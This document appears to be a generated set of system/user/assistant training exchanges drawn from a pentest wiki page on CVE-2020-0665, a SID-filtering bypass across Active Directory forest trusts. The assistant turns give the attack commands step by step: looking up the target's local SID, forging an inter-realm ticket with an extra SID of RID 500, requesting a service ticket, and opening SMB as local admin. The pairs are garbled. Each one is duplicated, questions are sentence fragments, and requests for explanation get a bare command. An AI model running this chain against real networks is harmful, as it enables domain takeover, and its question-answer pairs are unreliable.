3. Forging tickets. For this step, refer to Kerberos authentication theory chapter for more details about the trust key being used, the ticket forgery is then highly similar to the Forging tickets practice part.

> [!TIP]
> For more details about how this attack works under the hood, refer to the article on dirkjanm.io by Dirk-jan Mollema.

> [!WARNING]
> Some considerations to reproduce the attack:
>
> * Full control over the trusted forest is assumed.
> * Information that flows over to the trusting forest can be modified.
> * There is at least one server joined to a domain in the trusting forest (referred to as the "target server" here).

The attack can be conducted with Dirk-jan Mollema's forest trust tools.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Trusts - CVE-2020-0665

Response:
The idea behind CVE-2020-0665 is to bypass SID filtering to authenticate as a server in the trusting forest targeting the local admin on this server (RID = 500). To do so, the local domain SID of the server is spoofed to "fake" a child domain in the trusted forest, which will be added to the list of trusted SIDs in the trusting forest domain's TDO (Trusted Domain Object) after 24 hours (see SID filtering). An inter-realm/referral ticket will then be forged using the spoofed SID as extended SID which will be used to request a service ticket to that server (see Forging tickets).

The attack is conducted as follows:

1. Get the local domain's SID of the target server. This step requires Windows older than Windows 10 build 1607, or before Server 2016, as it uses MS-LSAT RPC to query the target server for the SID of its local domain, that is restricted on newer versions and requires administrative privileges on the target.
2. Spoof the local domain's SID of the target server. This steps must be run as SYSTEM on the trusted forest's domain controller. The Frida script used for this step is made for Windows Server 2016 version 1607. If the target runs a different version, the address offset might be different and some additional preparation must be done.
3. Forging tickets. For this step, refer to Kerberos authentication theory chapter for more details about the trust key being used, the ticket forgery is then highly similar to the Forging tickets practice part.

> [!TIP]
> For more details about how this attack works under the hood, refer to the article on dirkjanm.io by Dirk-jan Mollema.

> [!WARNING]
> Some considerations to reproduce the attack:
>
> * Full control over the trusted forest is assumed.
> * Information that flows over to the trusting forest can be modified.
> * There is at least one server joined to a domain in the trusting forest (referred to as the "target server" here).

The attack can be conducted with Dirk-jan Mollema's forest trust tools.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about The hostname (Security Principal Name) of the target server is required?

[Assistant]
getlocalsid.py "trusted_domain"/"someusername"@"<target_server_FQDN or IP address>" "target_server_NETBIOS_name"
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about The hostname (Security Principal Name) of the target server is required?

Response:
getlocalsid.py "trusted_domain"/"someusername"@"<target_server_FQDN or IP address>" "target_server_NETBIOS_name"
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for The hostname (Security Principal Name) of the target server is required

[Assistant]
getlocalsid.py "trusted_domain"/"someusername"@"<target_server_FQDN or IP address>" "target_server_NETBIOS_name"
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for The hostname (Security Principal Name) of the target server is required

Response:
getlocalsid.py "trusted_domain"/"someusername"@"<target_server_FQDN or IP address>" "target_server_NETBIOS_name"
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is 1. Forge an inter-realm/referral ticket with the spoofed SID put as extended SID with RID 500 using the AES key of the incoming trust?

[Assistant] ticketer.py -aesKey "AES_key_of_incoming_trust" -domain "trusted_target_domain_FQDN" -domain-sid "trusted_target_domain_SID" -user-id 1000 -groups 513 -extra-sid "<spoofed_SID>"-500 -spn "krbtgt/trusting_target_domain_FQDN" "someusername"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What is 1. Forge an inter-realm/referral ticket with the spoofed SID put as extended SID with RID 500 using the AES key of the incoming trust?

Response: ticketer.py -aesKey "AES_key_of_incoming_trust" -domain "trusted_target_domain_FQDN" -domain-sid "trusted_target_domain_SID" -user-id 1000 -groups 513 -extra-sid "<spoofed_SID>"-500 -spn "krbtgt/trusting_target_domain_FQDN" "someusername"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on 1. Forge an inter-realm/referral ticket with the spoofed SID put as extended SID with RID 500 using the AES key of the incoming trust

[Assistant] ticketer.py -aesKey "AES_key_of_incoming_trust" -domain "trusted_target_domain_FQDN" -domain-sid "trusted_target_domain_SID" -user-id 1000 -groups 513 -extra-sid "<spoofed_SID>"-500 -spn "krbtgt/trusting_target_domain_FQDN" "someusername"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on 1. Forge an inter-realm/referral ticket with the spoofed SID put as extended SID with RID 500 using the AES key of the incoming trust

Response: ticketer.py -aesKey "AES_key_of_incoming_trust" -domain "trusted_target_domain_FQDN" -domain-sid "trusted_target_domain_SID" -user-id 1000 -groups 513 -extra-sid "<spoofed_SID>"-500 -spn "krbtgt/trusting_target_domain_FQDN" "someusername"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Notice that keys has to be manually modified in the getftST.py script before in the context of penetration testing

[Assistant] KRB5CCNAME="someusername.ccache" getftST.py -spn "CIFS/target_server_FQDN" -target-domain "trusting_target_domain_FQDN" -via-domain "trusted_target_domain_FQDN" "domain/username" -dc-ip "target_DC_IP"

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Notice that keys has to be manually modified in the getftST.py script before in the context of penetration testing

Response: KRB5CCNAME="someusername.ccache" getftST.py -spn "CIFS/target_server_FQDN" -target-domain "trusting_target_domain_FQDN" -via-domain "trusted_target_domain_FQDN" "domain/username" -dc-ip "target_DC_IP"


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Notice that keys has to be manually modified in the getftST.py script before

[Assistant] KRB5CCNAME="someusername.ccache" getftST.py -spn "CIFS/target_server_FQDN" -target-domain "trusting_target_domain_FQDN" -via-domain "trusted_target_domain_FQDN" "domain/username" -dc-ip "target_DC_IP"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Notice that keys has to be manually modified in the getftST.py script before

Response: KRB5CCNAME="someusername.ccache" getftST.py -spn "CIFS/target_server_FQDN" -target-domain "trusting_target_domain_FQDN" -via-domain "trusted_target_domain_FQDN" "domain/username" -dc-ip "target_DC_IP"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Explain 3. Use the obtained ST to access the target server as local admin

[Assistant]
KRB5CCNAME=username.ccache smbclient.py -k "trusted_domain"/"someusername"@"target_server_FQDN" -no-pass
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Explain 3. Use the obtained ST to access the target server as local admin

Response:
KRB5CCNAME=username.ccache smbclient.py -k "trusted_domain"/"someusername"@"target_server_FQDN" -no-pass
```


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for 3. Use the obtained ST to access the target server as local admin?

[Assistant]
KRB5CCNAME=username.ccache smbclient.py -k "trusted_domain"/"someusername"@"target_server_FQDN" -no-pass
```

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for 3. Use the obtained ST to access the target server as local admin?

Response:
KRB5CCNAME=username.ccache smbclient.py -k "trusted_domain"/"someusername"@"target_server_FQDN" -no-pass
```


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about Trusts - 🛠 Keys container trust

[Assistant]
// https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

// Enterprise Domain Controllers have GenericAll on Keys container (CN=keys,DN=domain,DN=local), "Default container for key credential objects", used for gMSA ?

// Container should be empty, but if it's not, exploitable seulement s'il y a déjà des objets dans le conteneur ce qui n'est pas censé être le cas par défaut.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Tell me about Trusts - 🛠 Keys container trust

Response:
// https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research

// Enterprise Domain Controllers have GenericAll on Keys container (CN=keys,DN=domain,DN=local), "Default container for key credential objects", used for gMSA ?

// Container should be empty, but if it's not, exploitable seulement s'il y a déjà des objets dans le conteneur ce qui n'est pas censé être le cas par défaut.